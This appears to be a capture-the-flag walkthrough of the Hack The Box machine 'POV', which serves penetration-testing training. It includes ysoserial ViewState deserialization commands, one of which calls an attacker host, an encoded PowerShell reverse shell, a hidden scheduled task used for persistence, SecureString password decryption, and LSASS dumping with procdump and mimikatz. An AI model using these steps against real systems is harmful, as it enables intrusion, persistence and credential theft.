Post

HTB - POV

POV - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - POV

  • NMAP:
1
2
3
nmap 10.129.24.175 -p-
sudo nmap -sUV -T4 -F --version-intensity 0 10.129.24.175

image1

Add pov.htb to /etc/hosts

  • Search for subdomains:
1
2
3
4
gobuster dns -d pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

wfuzz -u pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pov.htb" --hw 834

image2

image3

  • Add dev.pov.htb to /etc/hosts

  • Found another open port on the dev site - which is probably internal:

http://dev.pov.htb:8080

image4

  • Found an email: sfitz@pov.htb

  • On the dev page there is a download CV option:

image5

  • Opening it in Burp:

image6

  • POC - change file to a known Windows file:

image7

  • We can see that it gave us the \etc\hosts file

  • Since this is an IIS webserver we should be able to look at the web.config file:

1
2
/web.config

image8

1
2
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell.exe Invoke-WebRequest -Uri http://10.10.14.66:8082/test.txt"

image9

  • Copy the generated payload and URL encode it on Cyberchef (all special chars):

image10

  • Copy the payload and paste into __VIEWSTATE=

  • Set up a python server to test

  • Send the Request

image11

  • We get a hit on our python server:

image12

  • Now change the payload to a Powershell reverse shell:

image13

  • Set up a listener
1
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell.exe powershell -e JABjAGwAaQBlA…"

image14

URL Encode and paste into __VIEWSTATE=

image15

  • Got user shell:

image16

  • Persistence: Create msfvenom payload.

Rename it to .txt because the server doesn’t allow .exe files to be uploaded it seems.

Upload msfvenom payload and start multi handler.

Change payload to .exe

Run:

1
2
schtasks /create /sc minute /mo 1 /tn "a_innocent" /tr "C:\Users\Public\program.exe"

Run .\program.exe to upgrade to meterpreter shell

1
2
net user

image17

  • In sfitz’s Documents:

image18

There is a connection.xml file

image19

  • We get credentials for a PSSession from user alaading. The password is encrypted through Powershell.

  • This is the process of encryption:

image20

  • We need to reverse the process: $encryptedpwd = <The password we found>

# Decrypt the password $secureString = $encryptedpwd | ConvertTo-SecureString

# Convert the secure string to plain text $originalPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

# Output the original password Write-Host “Original Password: $originalPwd”

  • This can be done with a one-liner:
1
2
3
4
$originalPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(("<encrypted_password>" | ConvertTo-SecureString)))
  
Write-Host "Original Password: $originalPwd"

image21

  • Got credentials: alaading : <password>

  • Upload a new meterpreter reverse shell
  • Upload RunasCs.exe
  • Set up listener

  • Run:
1
2
.\RunasCs.exe alaading <password>".\reverse.exe"

image22

image23

image24

1
2
whoami /all

image25

The SeDebugPrivilege is set

image26

  • Check the processes running:
1
2
ps

image27

1
2
migrate <PID>

image28

image29

Another option -

That didn’t provide credentials here, apart from the ones we already had, is:

  • Upload procdump.exe

image30

  • Run:
1
2
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image31

  • Upload mimikatz.exe

  • Run .\mimikatz.exe (in same directory as lsass.dmp):

1
2
3
4
sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords

image32

This post is licensed under CC BY 4.0 by the author.